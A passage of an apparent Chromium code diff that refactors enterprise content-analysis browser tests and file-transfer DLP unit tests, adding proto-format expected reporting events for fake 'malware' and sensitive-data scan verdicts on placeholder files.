-  run_loop.Run();
-
-  EXPECT_TRUE(called);
-
-  // There should have been 1 request per file (2 files) and 1 for
-  // authentication.
-  ASSERT_EQ(FakeBinaryUploadServiceStorage()->requests_count(), 3);
-  ASSERT_EQ(FakeBinaryUploadServiceStorage()->ack_count(), 2);
-
-  // Ensure the ContentAnalysisDelegate is destroyed before the end of the test.
-  content_analysis_run_loop.Run();
-}
-
-IN_PROC_BROWSER_TEST_P(ContentAnalysisDelegateBrowserTest, ForFiles) {
-  base::ScopedAllowBlockingForTesting allow_blocking;
-
-  // Set up delegate and upload service.
-  EnableUploadsScanningAndReporting();
-
-  base::RunLoop content_analysis_run_loop;
-  ContentAnalysisDelegate::SetFactoryForTesting(
-      base::BindRepeating(&MinimalFakeContentAnalysisDelegate::Create,
-                          content_analysis_run_loop.QuitClosure()));
-
-  FakeBinaryUploadServiceStorage()->SetAuthorized(true);
-  FakeBinaryUploadServiceStorage()->SetShouldAutomaticallyAuthorize(true);
-
-  // Create the files to be opened and scanned.
-  ContentAnalysisDelegate::Data data;
-  CreateFilesForTest({"ok.doc", "bad.exe"},
-                     {"ok file content", "bad file content"}, &data);
-  // Create a subdirectory with a file to be expanded.
-  CreateFilesForTest({"fine.exe"}, {"fine file content"}, &data, "sub");
-
-  ASSERT_TRUE(ContentAnalysisDelegate::IsEnabled(
-      browser()->profile(), GURL(kTestUrl), &data, FILE_ATTACHED));
-
-  // The malware verdict means an event should be reported.
-  test::EventReportValidator validator(client());
-  if (use_proto_format()) {
-    chrome::cros::reporting::proto::SafeBrowsingDangerousDownloadEvent
-        expected_event;
-    expected_event.set_url("about:blank");
-    expected_event.set_tab_url("about:blank");
-    expected_event.set_source("");
-    expected_event.set_destination("");
-#if BUILDFLAG(IS_CHROMEOS)
-    expected_event.set_file_name("bad.exe");
-#else
-    machine_scope()
-        ? expected_event.set_file_name(created_file_paths()[1].AsUTF8Unsafe())
-        : expected_event.set_file_name("bad.exe");
-#endif
-    expected_event.set_content_size(16);
-    expected_event.set_download_digest_sha256(
-        "77AE96C38386429D28E53F5005C46C7B4D8D39BE73D757CE61E0AE65CC1A5A5D");
-    expected_event.set_threat_type(
-        chrome::cros::reporting::proto::SafeBrowsingDangerousDownloadEvent::
-            DANGEROUS);
-
-    expected_event.set_scan_id(kScanId2);
-    expected_event.set_trigger(
-        chrome::cros::reporting::proto::DataTransferEventTrigger::FILE_UPLOAD);
-
-    expected_event.set_event_result(
-        chrome::cros::reporting::proto::EventResult::EVENT_RESULT_BLOCKED);
-    expected_event.set_clicked_through(false);
-
-    ::chrome::cros::reporting::proto::UrlInfo referrers;
-    referrers.set_url("about:blank");
-    *expected_event.add_referrers() = referrers;
-
-    expected_event.set_profile_identifier(GetProfileIdentifier());
-    expected_event.set_profile_user_name(kUserName);
-
-    validator.ExpectDangerousDownloadEvent(std::move(expected_event),
-                                           ExeMimeTypes());
-  } else {
-    validator.ExpectDangerousDeepScanningResult(
-        /*url*/ "about:blank",
-        /*tab_url*/ "about:blank",
-        /*source*/ "",
-        /*destination*/ "",
-        /*filename*/
-        machine_scope() ? created_file_paths()[1].AsUTF8Unsafe() : "bad.exe",
-        // printf "bad file content" | sha256sum |  tr '[:lower:]' '[:upper:]'
-        /*sha*/
-        "77AE96C38386429D28E53F5005C46C7B4D8D39BE73D757CE61E0AE65CC1A5A5D",
-        /*threat_type*/ "DANGEROUS",
-        /*trigger*/ kFileUploadDataTransferEventTrigger,
-        /*mimetypes*/ ExeMimeTypes(),
-        /*size*/ std::string("bad file content").size(),
-        /*result*/
-        EventResultToString(EventResult::BLOCKED),
-        /*username*/ kUserName,
-        /*profile_identifier*/ GetProfileIdentifier(),
-        /*scan_id*/ kScanId2);
-  }
-
-  {
-    ContentAnalysisResponse ok_response;
-    ok_response.set_request_token(kScanId1);
-    auto* ok_result = ok_response.add_results();
-    ok_result->set_status(ContentAnalysisResponse::Result::SUCCESS);
-    ok_result->set_tag("malware");
-
-    FakeBinaryUploadServiceStorage()->SetResponseForFile(
-        created_file_paths()[0].AsUTF8Unsafe(),
-        ScanRequestUploadResult::kSuccess, ok_response);
-    FakeBinaryUploadServiceStorage()->SetExpectedFinalAction(
-        kScanId1, ContentAnalysisAcknowledgement::ALLOW);
-  }
-
-  {
-    ContentAnalysisResponse bad_response;
-    bad_response.set_request_token(kScanId2);
-    auto* bad_result = bad_response.add_results();
-    bad_result->set_status(ContentAnalysisResponse::Result::SUCCESS);
-    bad_result->set_tag("malware");
-    auto* bad_rule = bad_result->add_triggered_rules();
-    bad_rule->set_action(TriggeredRule::BLOCK);
-    bad_rule->set_rule_name("malware");
-
-    FakeBinaryUploadServiceStorage()->SetResponseForFile(
-        created_file_paths()[1].AsUTF8Unsafe(),
-        ScanRequestUploadResult::kSuccess, bad_response);
-    FakeBinaryUploadServiceStorage()->SetExpectedFinalAction(
-        kScanId2, ContentAnalysisAcknowledgement::BLOCK);
-  }
-
-  {
-    ContentAnalysisResponse ok_response;
-    ok_response.set_request_token(kScanId3);
-    auto* ok_result = ok_response.add_results();
-    ok_result->set_status(ContentAnalysisResponse::Result::SUCCESS);
-    ok_result->set_tag("malware");
-
-    FakeBinaryUploadServiceStorage()->SetResponseForFile(
-        created_file_paths()[2].AsUTF8Unsafe(),
-        ScanRequestUploadResult::kSuccess, ok_response);
-    FakeBinaryUploadServiceStorage()->SetExpectedFinalAction(
-        kScanId3, ContentAnalysisAcknowledgement::ALLOW);
-  }
-
-  bool called = false;
-  base::RunLoop run_loop;
-  SetQuitClosure(run_loop.QuitClosure());
-
-  // Start test.
-  ContentAnalysisDelegate::CreateForFilesInWebContents(
-      browser()->tab_strip_model()->GetActiveWebContents(), std::move(data),
-      base::BindLambdaForTesting([&called](std::vector<base::FilePath> paths,
-                                           std::vector<bool> result) {
-        ASSERT_EQ(paths.size(), 3u);
-        ASSERT_EQ(paths[0].BaseName(),
-                  base::FilePath(FILE_PATH_LITERAL("ok.doc")));
-        ASSERT_EQ(paths[1].BaseName(),
-                  base::FilePath(FILE_PATH_LITERAL("bad.exe")));
-        ASSERT_EQ(paths[2].BaseName(),
-                  base::FilePath(FILE_PATH_LITERAL("sub")));
-
-        ASSERT_EQ(result.size(), 3u);
-        ASSERT_TRUE(result[0]);
-        ASSERT_FALSE(result[1]);
-        ASSERT_TRUE(result[2]);
-
-        called = true;
-      }),
-      DeepScanAccessPoint::UPLOAD);
-
-  run_loop.Run();
-  EXPECT_TRUE(called);
-
-  // There should have been 1 request per file (3 files) and 1 for
-  // authentication.
-  ASSERT_EQ(FakeBinaryUploadServiceStorage()->requests_count(), 4);
-  ASSERT_EQ(FakeBinaryUploadServiceStorage()->ack_count(), 3);
-
-  // Ensure the ContentAnalysisDelegate is destroyed before the end of the test.
-  content_analysis_run_loop.Run();
-}
-
 IN_PROC_BROWSER_TEST_P(ContentAnalysisDelegateBrowserTest, Texts) {
   // The reading of the browser DM token is blocking and happens in this test
   // when checking if the browser is enrolled.
@@ -2732,4 +2422,339 @@
   ASSERT_EQ(FakeBinaryUploadServiceStorage()->ack_count(), 0);
 }
 
+// This class tests if ContentAnalysisDelegate handles file uploads correctly.
+class ContentAnalysisDelegateFilesBrowserTest
+    : public ContentAnalysisDelegateBrowserTestBase,
+      public testing::WithParamInterface<std::tuple<bool, bool>> {
+ public:
+  ContentAnalysisDelegateFilesBrowserTest()
+      : ContentAnalysisDelegateBrowserTestBase(std::get<0>(GetParam())) {
+    use_proto_format()
+        ? scoped_feature_list_.InitWithFeatures(
+              /*enabled_features=*/
+              {policy::kUploadRealtimeReportingEventsUsingProto},
+              /*disabled_features=*/{})
+        : scoped_feature_list_.InitWithFeatures(
+              /*enabled_features=*/{},
+              /*disabled_features=*/{
+                  policy::kUploadRealtimeReportingEventsUsingProto});
+  }
+  bool use_proto_format() const { return std::get<1>(GetParam()); }
+};
+
+INSTANTIATE_TEST_SUITE_P(,
+                         ContentAnalysisDelegateFilesBrowserTest,
+                         testing::Combine(testing::Bool(), testing::Bool()));
+
+IN_PROC_BROWSER_TEST_P(ContentAnalysisDelegateFilesBrowserTest, FilesUpload) {
+  base::ScopedAllowBlockingForTesting allow_blocking;
+
+  // Set up delegate and upload service.
+  EnableUploadsScanningAndReporting();
+
+  base::RunLoop content_analysis_run_loop;
+  ContentAnalysisDelegate::SetFactoryForTesting(
+      base::BindRepeating(&MinimalFakeContentAnalysisDelegate::Create,
+                          content_analysis_run_loop.QuitClosure()));
+
+  FakeBinaryUploadServiceStorage()->SetAuthorized(true);
+  FakeBinaryUploadServiceStorage()->SetShouldAutomaticallyAuthorize(true);
+
+  // Create the files to be opened and scanned.
+  ContentAnalysisDelegate::Data data;
+  CreateFilesForTest({"ok.doc", "bad.exe"},
+                     {"ok file content", "bad file content"}, &data);
+  ASSERT_TRUE(ContentAnalysisDelegate::IsEnabled(
+      browser()->profile(), GURL(kTestUrl), &data, FILE_ATTACHED));
+
+  // The malware verdict means an event should be reported.
+  test::EventReportValidator validator(client());
+
+  if (use_proto_format()) {
+    chrome::cros::reporting::proto::SafeBrowsingDangerousDownloadEvent
+        expected_event;
+    expected_event.set_url("about:blank");
+    expected_event.set_tab_url("about:blank");
+    expected_event.set_source("");
+    expected_event.set_destination("");
+#if BUILDFLAG(IS_CHROMEOS)
+    expected_event.set_file_name("bad.exe");
+#else
+    machine_scope()
+        ? expected_event.set_file_name(created_file_paths()[1].AsUTF8Unsafe())
+        : expected_event.set_file_name("bad.exe");
+#endif
+    expected_event.set_content_size(16);
+    expected_event.set_download_digest_sha256(
+        "77AE96C38386429D28E53F5005C46C7B4D8D39BE73D757CE61E0AE65CC1A5A5D");
+    expected_event.set_threat_type(
+        chrome::cros::reporting::proto::SafeBrowsingDangerousDownloadEvent::
+            DANGEROUS);
+
+    expected_event.set_scan_id(kScanId2);
+    expected_event.set_trigger(
+        chrome::cros::reporting::proto::DataTransferEventTrigger::FILE_UPLOAD);
+
+    expected_event.set_event_result(
+        chrome::cros::reporting::proto::EventResult::EVENT_RESULT_BLOCKED);
+    expected_event.set_clicked_through(false);
+
+    ::chrome::cros::reporting::proto::UrlInfo referrers;
+    referrers.set_url("about:blank");
+    *expected_event.add_referrers() = referrers;
+
+    expected_event.set_profile_identifier(GetProfileIdentifier());
+    expected_event.set_profile_user_name(kUserName);
+
+    validator.ExpectDangerousDownloadEvent(std::move(expected_event),
+                                           ExeMimeTypes());
+  } else {
+    validator.ExpectDangerousDeepScanningResult(
+        /*url*/ "about:blank",
+        /*tab_url*/ "about:blank",
+        /*source*/ "",
+        /*destination*/ "",
+        /*filename*/
+        machine_scope() ? created_file_paths()[1].AsUTF8Unsafe() : "bad.exe",
+        // printf "bad file content" | sha256sum |  tr '[:lower:]' '[:upper:]'
+        /*sha*/
+        "77AE96C38386429D28E53F5005C46C7B4D8D39BE73D757CE61E0AE65CC1A5A5D",
+        /*threat_type*/ "DANGEROUS",
+        /*trigger*/ kFileUploadDataTransferEventTrigger,
+        /*mimetypes*/ ExeMimeTypes(),
+        /*size*/ std::string("bad file content").size(),
+        /*result*/
+        EventResultToString(EventResult::BLOCKED),
+        /*username*/ kUserName,
+        /*profile_identifier*/ GetProfileIdentifier(),
+        /*scan_id*/ kScanId2);
+  }
+
+  ContentAnalysisResponse ok_response;
+  ok_response.set_request_token(kScanId1);
+  auto* ok_result = ok_response.add_results();
+  ok_result->set_status(ContentAnalysisResponse::Result::SUCCESS);
+  ok_result->set_tag("malware");
+
+  ContentAnalysisResponse bad_response;
+  bad_response.set_request_token(kScanId2);
+  auto* bad_result = bad_response.add_results();
+  bad_result->set_status(ContentAnalysisResponse::Result::SUCCESS);
+  bad_result->set_tag("malware");
+  auto* bad_rule = bad_result->add_triggered_rules();
+  bad_rule->set_action(TriggeredRule::BLOCK);
+  bad_rule->set_rule_name("malware");
+
+  FakeBinaryUploadServiceStorage()->SetResponseForFile(
+      created_file_paths()[0].AsUTF8Unsafe(), ScanRequestUploadResult::kSuccess,
+      ok_response);
+  FakeBinaryUploadServiceStorage()->SetExpectedFinalAction(
+      kScanId1, ContentAnalysisAcknowledgement::ALLOW);
+  FakeBinaryUploadServiceStorage()->SetResponseForFile(
+      created_file_paths()[1].AsUTF8Unsafe(), ScanRequestUploadResult::kSuccess,
+      bad_response);
+  FakeBinaryUploadServiceStorage()->SetExpectedFinalAction(
+      kScanId2, ContentAnalysisAcknowledgement::BLOCK);
+
+  bool called = false;
+  base::RunLoop run_loop;
+  SetQuitClosure(run_loop.QuitClosure());
+
+  // Start test.
+  ContentAnalysisDelegate::CreateForWebContents(
+      browser()->tab_strip_model()->GetActiveWebContents(), std::move(data),
+      base::BindLambdaForTesting(
+          [&called](const ContentAnalysisDelegate::Data& data,
+                    ContentAnalysisDelegate::Result& result) {
+            ASSERT_TRUE(result.text_results.empty());
+            ASSERT_EQ(result.paths_results.size(), 2u);
+            ASSERT_TRUE(result.paths_results[0]);
+            ASSERT_FALSE(result.paths_results[1]);
+            called = true;
+          }),
+      DeepScanAccessPoint::UPLOAD);
+
+  run_loop.Run();
+
+  EXPECT_TRUE(called);
+
+  // There should have been 1 request per file (2 files) and 1 for
+  // authentication.
+  ASSERT_EQ(FakeBinaryUploadServiceStorage()->requests_count(), 3);
+  ASSERT_EQ(FakeBinaryUploadServiceStorage()->ack_count(), 2);
+
+  // Ensure the ContentAnalysisDelegate is destroyed before the end of the test.
+  content_analysis_run_loop.Run();
+}
+
+IN_PROC_BROWSER_TEST_P(ContentAnalysisDelegateFilesBrowserTest,
+                       FilesAndDirUpload) {
+  base::ScopedAllowBlockingForTesting allow_blocking;
+
+  // Set up delegate and upload service.
+  EnableUploadsScanningAndReporting();
+
+  base::RunLoop content_analysis_run_loop;
+  ContentAnalysisDelegate::SetFactoryForTesting(
+      base::BindRepeating(&MinimalFakeContentAnalysisDelegate::Create,
+                          content_analysis_run_loop.QuitClosure()));
+
+  FakeBinaryUploadServiceStorage()->SetAuthorized(true);
+  FakeBinaryUploadServiceStorage()->SetShouldAutomaticallyAuthorize(true);
+
+  // Create the files to be opened and scanned.
+  ContentAnalysisDelegate::Data data;
+  CreateFilesForTest({"ok.doc", "bad.exe"},
+                     {"ok file content", "bad file content"}, &data);
+  // Create a subdirectory with a file to be expanded.
+  CreateFilesForTest({"fine.exe"}, {"fine file content"}, &data, "sub");
+
+  ASSERT_TRUE(ContentAnalysisDelegate::IsEnabled(
+      browser()->profile(), GURL(kTestUrl), &data, FILE_ATTACHED));
+
+  // The malware verdict means an event should be reported.
+  test::EventReportValidator validator(client());
+  if (use_proto_format()) {
+    chrome::cros::reporting::proto::SafeBrowsingDangerousDownloadEvent
+        expected_event;
+    expected_event.set_url("about:blank");
+    expected_event.set_tab_url("about:blank");
+    expected_event.set_source("");
+    expected_event.set_destination("");
+#if BUILDFLAG(IS_CHROMEOS)
+    expected_event.set_file_name("bad.exe");
+#else
+    machine_scope()
+        ? expected_event.set_file_name(created_file_paths()[1].AsUTF8Unsafe())
+        : expected_event.set_file_name("bad.exe");
+#endif
+    expected_event.set_content_size(16);
+    expected_event.set_download_digest_sha256(
+        "77AE96C38386429D28E53F5005C46C7B4D8D39BE73D757CE61E0AE65CC1A5A5D");
+    expected_event.set_threat_type(
+        chrome::cros::reporting::proto::SafeBrowsingDangerousDownloadEvent::
+            DANGEROUS);
+
+    expected_event.set_scan_id(kScanId2);
+    expected_event.set_trigger(
+        chrome::cros::reporting::proto::DataTransferEventTrigger::FILE_UPLOAD);
+
+    expected_event.set_event_result(
+        chrome::cros::reporting::proto::EventResult::EVENT_RESULT_BLOCKED);
+    expected_event.set_clicked_through(false);
+
+    ::chrome::cros::reporting::proto::UrlInfo referrers;
+    referrers.set_url("about:blank");
+    *expected_event.add_referrers() = referrers;
+
+    expected_event.set_profile_identifier(GetProfileIdentifier());
+    expected_event.set_profile_user_name(kUserName);
+
+    validator.ExpectDangerousDownloadEvent(std::move(expected_event),
+                                           ExeMimeTypes());
+  } else {
+    validator.ExpectDangerousDeepScanningResult(
+        /*url*/ "about:blank",
+        /*tab_url*/ "about:blank",
+        /*source*/ "",
+        /*destination*/ "",
+        /*filename*/
+        machine_scope() ? created_file_paths()[1].AsUTF8Unsafe() : "bad.exe",
+        // printf "bad file content" | sha256sum |  tr '[:lower:]' '[:upper:]'
+        /*sha*/
+        "77AE96C38386429D28E53F5005C46C7B4D8D39BE73D757CE61E0AE65CC1A5A5D",
+        /*threat_type*/ "DANGEROUS",
+        /*trigger*/ kFileUploadDataTransferEventTrigger,
+        /*mimetypes*/ ExeMimeTypes(),
+        /*size*/ std::string("bad file content").size(),
+        /*result*/
+        EventResultToString(EventResult::BLOCKED),
+        /*username*/ kUserName,
+        /*profile_identifier*/ GetProfileIdentifier(),
+        /*scan_id*/ kScanId2);
+  }
+
+  {
+    ContentAnalysisResponse ok_response;
+    ok_response.set_request_token(kScanId1);
+    auto* ok_result = ok_response.add_results();
+    ok_result->set_status(ContentAnalysisResponse::Result::SUCCESS);
+    ok_result->set_tag("malware");
+
+    FakeBinaryUploadServiceStorage()->SetResponseForFile(
+        created_file_paths()[0].AsUTF8Unsafe(),
+        ScanRequestUploadResult::kSuccess, ok_response);
+    FakeBinaryUploadServiceStorage()->SetExpectedFinalAction(
+        kScanId1, ContentAnalysisAcknowledgement::ALLOW);
+  }
+
+  {
+    ContentAnalysisResponse bad_response;
+    bad_response.set_request_token(kScanId2);
+    auto* bad_result = bad_response.add_results();
+    bad_result->set_status(ContentAnalysisResponse::Result::SUCCESS);
+    bad_result->set_tag("malware");
+    auto* bad_rule = bad_result->add_triggered_rules();
+    bad_rule->set_action(TriggeredRule::BLOCK);
+    bad_rule->set_rule_name("malware");
+
+    FakeBinaryUploadServiceStorage()->SetResponseForFile(
+        created_file_paths()[1].AsUTF8Unsafe(),
+        ScanRequestUploadResult::kSuccess, bad_response);
+    FakeBinaryUploadServiceStorage()->SetExpectedFinalAction(
+        kScanId2, ContentAnalysisAcknowledgement::BLOCK);
+  }
+
+  {
+    ContentAnalysisResponse ok_response;
+    ok_response.set_request_token(kScanId3);
+    auto* ok_result = ok_response.add_results();
+    ok_result->set_status(ContentAnalysisResponse::Result::SUCCESS);
+    ok_result->set_tag("malware");
+
+    FakeBinaryUploadServiceStorage()->SetResponseForFile(
+        created_file_paths()[2].AsUTF8Unsafe(),
+        ScanRequestUploadResult::kSuccess, ok_response);
+    FakeBinaryUploadServiceStorage()->SetExpectedFinalAction(
+        kScanId3, ContentAnalysisAcknowledgement::ALLOW);
+  }
+
+  bool called = false;
+  base::RunLoop run_loop;
+  SetQuitClosure(run_loop.QuitClosure());
+
+  // Start test.
+  ContentAnalysisDelegate::CreateForFilesInWebContents(
+      browser()->tab_strip_model()->GetActiveWebContents(), std::move(data),
+      base::BindLambdaForTesting([&called](std::vector<base::FilePath> paths,
+                                           std::vector<bool> result) {
+        ASSERT_EQ(paths.size(), 3u);
+        ASSERT_EQ(paths[0].BaseName(),
+                  base::FilePath(FILE_PATH_LITERAL("ok.doc")));
+        ASSERT_EQ(paths[1].BaseName(),
+                  base::FilePath(FILE_PATH_LITERAL("bad.exe")));
+        ASSERT_EQ(paths[2].BaseName(),
+                  base::FilePath(FILE_PATH_LITERAL("sub")));
+
+        ASSERT_EQ(result.size(), 3u);
+        ASSERT_TRUE(result[0]);
+        ASSERT_FALSE(result[1]);
+        ASSERT_TRUE(result[2]);
+
+        called = true;
+      }),
+      DeepScanAccessPoint::UPLOAD);
+
+  run_loop.Run();
+  EXPECT_TRUE(called);
+
+  // There should have been 1 request per file (3 files) and 1 for
+  // authentication.
+  ASSERT_EQ(FakeBinaryUploadServiceStorage()->requests_count(), 4);
+  ASSERT_EQ(FakeBinaryUploadServiceStorage()->ack_count(), 3);
+
+  // Ensure the ContentAnalysisDelegate is destroyed before the end of the test.
+  content_analysis_run_loop.Run();
+}
+
 }  // namespace enterprise_connectors
diff --git a/chrome/browser/enterprise/connectors/analysis/file_transfer_analysis_delegate_unittest.cc b/chrome/browser/enterprise/connectors/analysis/file_transfer_analysis_delegate_unittest.cc
index a68aacb..283fbcfb 100644
--- a/chrome/browser/enterprise/connectors/analysis/file_transfer_analysis_delegate_unittest.cc
+++ b/chrome/browser/enterprise/connectors/analysis/file_transfer_analysis_delegate_unittest.cc
@@ -40,9 +40,12 @@
 #include "chrome/test/base/testing_profile.h"
 #include "chrome/test/base/testing_profile_manager.h"
 #include "components/enterprise/common/proto/connectors.pb.h"
+#include "components/enterprise/common/proto/synced/browser_events.pb.h"
 #include "components/enterprise/connectors/core/cloud_content_scanning/common.h"
+#include "components/enterprise/connectors/core/common.h"
 #include "components/enterprise/connectors/core/reporting_constants.h"
 #include "components/policy/core/common/cloud/mock_cloud_policy_client.h"
+#include "components/policy/core/common/cloud/realtime_reporting_job_configuration.h"
 #include "components/prefs/testing_pref_service.h"
 #include "components/signin/public/identity_manager/identity_test_environment.h"
 #include "content/public/test/browser_task_environment.h"
@@ -175,6 +178,51 @@
   return &set;
 }
 
+chrome::cros::reporting::proto::DlpSensitiveDataEvent
+CreateDlpSensitiveDataEvent(
+    const std::string& profile_identifier,
+    const std::string& file_name,
+    const std::string& source,
+    const std::string& destination,
+    const std::string& sha256,
+    const std::string& mimetype,
+    int32_t content_size,
+    chrome::cros::reporting::proto::TriggeredRuleInfo::Action rule_action,
+    chrome::cros::reporting::proto::EventResult event_result,
+    std::optional<std::string> user_justification = std::nullopt) {
+  chrome::cros::reporting::proto::DlpSensitiveDataEvent event;
+
+  event.set_url("");
+  event.set_tab_url("");
+  event.set_profile_user_name(kUserName);
+  event.set_scan_id("scan_id");
+
+  event.set_profile_identifier(profile_identifier);
+  event.set_file_name(file_name);
+  event.set_source(source);
+  event.set_destination(destination);
+  event.set_download_digest_sha_256(sha256);
+  event.set_content_type(mimetype);
+  event.set_content_size(content_size);
+  event.set_trigger(
+      chrome::cros::reporting::proto::DataTransferEventTrigger::FILE_TRANSFER);
+  event.set_event_result(event_result);
+
+  event.set_clicked_through(
+      event_result ==
+      chrome::cros::reporting::proto::EventResult::EVENT_RESULT_BYPASSED);
+
+  if (user_justification.has_value()) {
+    event.set_user_justification(user_justification.value());
+  }
+
+  auto* triggered_rule = event.add_triggered_rule_info();
+  triggered_rule->set_rule_name("rule");
+  triggered_rule->set_action(rule_action);
+
+  return event;
+}
+
 class ScopedSetDMToken {
  public:
   explicit ScopedSetDMToken(const policy::DMToken& dm_token) {
@@ -987,27 +1035,48 @@
   test::EventReportValidator validator(cloud_policy_client());
   base::RunLoop run_loop;
   validator.SetDoneClosure(run_loop.QuitClosure());
-  validator.ExpectSensitiveDataEvent(
-      /*url*/ "",
-      /*tab_url*/ "",
-      /*source*/ kSourceVolumeInfo.fs_config_string,
-      /*destination*/ kDestinationVolumeInfo.fs_config_string,
-      /*filename*/ "foo.doc",
-      // printf "content" | sha256sum  |  tr '[:lower:]' '[:upper:]'
-      /*sha*/
-      "ED7002B439E9AC845F22357D822BAC1444730FBDB6016D3EC9432297B9EC9F73",
-      /*trigger*/
-      kFileTransferDataTransferEventTrigger,
-      /*dlp_verdict*/ response.results()[0],
-      /*mimetype*/ DocMimeTypes(),
-      /*size*/ std::string("content").size(),
-      /*result*/
-      EventResultToString(EventResult::BLOCKED),
-      /*username*/ kUserName,
-      /*profile_identifier*/ profile_->GetPath().AsUTF8Unsafe(),
-      /*scan_id*/ scan_id,
-      /*content_transfer_method*/ std::nullopt,
-      /*user_justification*/ std::nullopt);
+
+  if (base::FeatureList::IsEnabled(
+          policy::kUploadRealtimeReportingEventsUsingProto)) {
+    auto expected_event = CreateDlpSensitiveDataEvent(
+        /*profile_identifier=*/profile_->GetPath().AsUTF8Unsafe(),
+        /*file_name=*/"foo.doc",
+        /*source=*/kSourceVolumeInfo.fs_config_string,
+        /*destination=*/kDestinationVolumeInfo.fs_config_string,
+        /*sha256=*/
+        "ED7002B439E9AC845F22357D822BAC1444730FBDB6016D3EC9432297B9EC9F73",
+        /*mimetype=*/"application/msword",
+        /*content_size=*/std::string("content").size(),
+        /*rule_action=*/
+        chrome::cros::reporting::proto::TriggeredRuleInfo::BLOCK,
+        /*event_result=*/
+        chrome::cros::reporting::proto::EventResult::EVENT_RESULT_BLOCKED,
+        /*user_justification=*/std::nullopt);
+
+    validator.ExpectSensitiveDataEvent(std::move(expected_event));
+  } else {
+    validator.ExpectSensitiveDataEvent(
+        /*url*/ "",
+        /*tab_url*/ "",
+        /*source*/ kSourceVolumeInfo.fs_config_string,
+        /*destination*/ kDestinationVolumeInfo.fs_config_string,
+        /*filename*/ "foo.doc",
+        // printf "content" | sha256sum  |  tr '[:lower:]' '[:upper:]'
+        /*sha*/
+        "ED7002B439E9AC845F22357D822BAC1444730FBDB6016D3EC9432297B9EC9F73",
+        /*trigger*/
+        kFileTransferDataTransferEventTrigger,
+        /*dlp_verdict*/ response.results()[0],
+        /*mimetype*/ DocMimeTypes(),
+        /*size*/ std::string("content").size(),
+        /*result*/
+        EventResultToString(EventResult::BLOCKED),
+        /*username*/ kUserName,
+        /*profile_identifier*/ profile_->GetPath().AsUTF8Unsafe(),
+        /*scan_id*/ scan_id,
+        /*content_transfer_method*/ std::nullopt,
+        /*user_justification*/ std::nullopt);
+  }
 
   ScanUpload(source_url, destination_directory_url_);
   run_loop.Run();
@@ -1044,27 +1113,48 @@
     test::EventReportValidator validator(cloud_policy_client());
     base::RunLoop run_loop;
     validator.SetDoneClosure(run_loop.QuitClosure());
-    validator.ExpectSensitiveDataEvent(
-        /*url*/ "",
-        /*tab_url*/ "",
-        /*source*/ kSourceVolumeInfo.fs_config_string,
-        /*destination*/ kDestinationVolumeInfo.fs_config_string,
-        /*filename*/ "foo.doc",
-        // printf "content" | sha256sum  |  tr '[:lower:]' '[:upper:]'
-        /*sha*/
-        "ED7002B439E9AC845F22357D822BAC1444730FBDB6016D3EC9432297B9EC9F73",
-        /*trigger*/
-        kFileTransferDataTransferEventTrigger,
-        /*dlp_verdict*/ response.results()[0],
-        /*mimetype*/ DocMimeTypes(),
-        /*size*/ std::string("content").size(),
-        /*result*/
-        EventResultToString(EventResult::WARNED),
-        /*username*/ kUserName,
-        /*profile_identifier*/ profile_->GetPath().AsUTF8Unsafe(),
-        /*scan_id*/ scan_id,
-        /*content_transfer_method*/ std::nullopt,
-        /*user_justification*/ std::nullopt);
+
+    if (base::FeatureList::IsEnabled(
+            policy::kUploadRealtimeReportingEventsUsingProto)) {
+      auto expected_event = CreateDlpSensitiveDataEvent(
+          /*profile_identifier=*/profile_->GetPath().AsUTF8Unsafe(),
+          /*file_name=*/"foo.doc",
+          /*source=*/kSourceVolumeInfo.fs_config_string,
+          /*destination=*/kDestinationVolumeInfo.fs_config_string,
+          /*sha256=*/
+          "ED7002B439E9AC845F22357D822BAC1444730FBDB6016D3EC9432297B9EC9F73",
+          /*mimetype=*/"application/msword",
+          /*content_size=*/std::string("content").size(),
+          /*rule_action=*/
+          chrome::cros::reporting::proto::TriggeredRuleInfo::WARN,
+          /*event_result=*/
+          chrome::cros::reporting::proto::EventResult::EVENT_RESULT_WARNED,
+          /*user_justification=*/std::nullopt);
+
+      validator.ExpectSensitiveDataEvent(std::move(expected_event));
+    } else {
+      validator.ExpectSensitiveDataEvent(
+          /*url*/ "",
+          /*tab_url*/ "",
+          /*source*/ kSourceVolumeInfo.fs_config_string,
+          /*destination*/ kDestinationVolumeInfo.fs_config_string,
+          /*filename*/ "foo.doc",
+          // printf "content" | sha256sum  |  tr '[:lower:]' '[:upper:]'
+          /*sha*/
+          "ED7002B439E9AC845F22357D822BAC1444730FBDB6016D3EC9432297B9EC9F73",
+          /*trigger*/
+          kFileTransferDataTransferEventTrigger,
+          /*dlp_verdict*/ response.results()[0],
+          /*mimetype*/ DocMimeTypes(),
+          /*size*/ std::string("content").size(),
+          /*result*/
+          EventResultToString(EventResult::WARNED),
+          /*username*/ kUserName,
+          /*profile_identifier*/ profile_->GetPath().AsUTF8Unsafe(),
+          /*scan_id*/ scan_id,
+          /*content_transfer_method*/ std::nullopt,
+          /*user_justification*/ std::nullopt);
+    }
 
     ScanUpload(source_url, destination_directory_url_);
     run_loop.Run();
@@ -1108,27 +1198,48 @@
     test::EventReportValidator validator(cloud_policy_client());
     base::RunLoop run_loop;
     validator.SetDoneClosure(run_loop.QuitClosure());
-    validator.ExpectSensitiveDataEvent(
-        /*url*/ "",
-        /*tab_url*/ "",
-        /*source*/ kSourceVolumeInfo.fs_config_string,
-        /*destination*/ kDestinationVolumeInfo.fs_config_string,
-        /*filename*/ "foo.doc",
-        // printf "content" | sha256sum  |  tr '[:lower:]' '[:upper:]'
-        /*sha*/
-        "ED7002B439E9AC845F22357D822BAC1444730FBDB6016D3EC9432297B9EC9F73",
-        /*trigger*/
-        kFileTransferDataTransferEventTrigger,
-        /*dlp_verdict*/ response.results()[0],
-        /*mimetype*/ DocMimeTypes(),
-        /*size*/ std::string("content").size(),
-        /*result*/
-        EventResultToString(EventResult::WARNED),
-        /*username*/ kUserName,
-        /*profile_identifier*/ profile_->GetPath().AsUTF8Unsafe(),
-        /*scan_id*/ scan_id,
-        /*content_transfer_method*/ std::nullopt,
-        /*user_justification*/ std::nullopt);
+
+    if (base::FeatureList::IsEnabled(
+            policy::kUploadRealtimeReportingEventsUsingProto)) {
+      auto expected_event = CreateDlpSensitiveDataEvent(
+          /*profile_identifier=*/profile_->GetPath().AsUTF8Unsafe(),
+          /*file_name=*/"foo.doc",
+          /*source=*/kSourceVolumeInfo.fs_config_string,
+          /*destination=*/kDestinationVolumeInfo.fs_config_string,
+          /*sha256=*/
+          "ED7002B439E9AC845F22357D822BAC1444730FBDB6016D3EC9432297B9EC9F73",
+          /*mimetype=*/"application/msword",
+          /*content_size=*/std::string("content").size(),
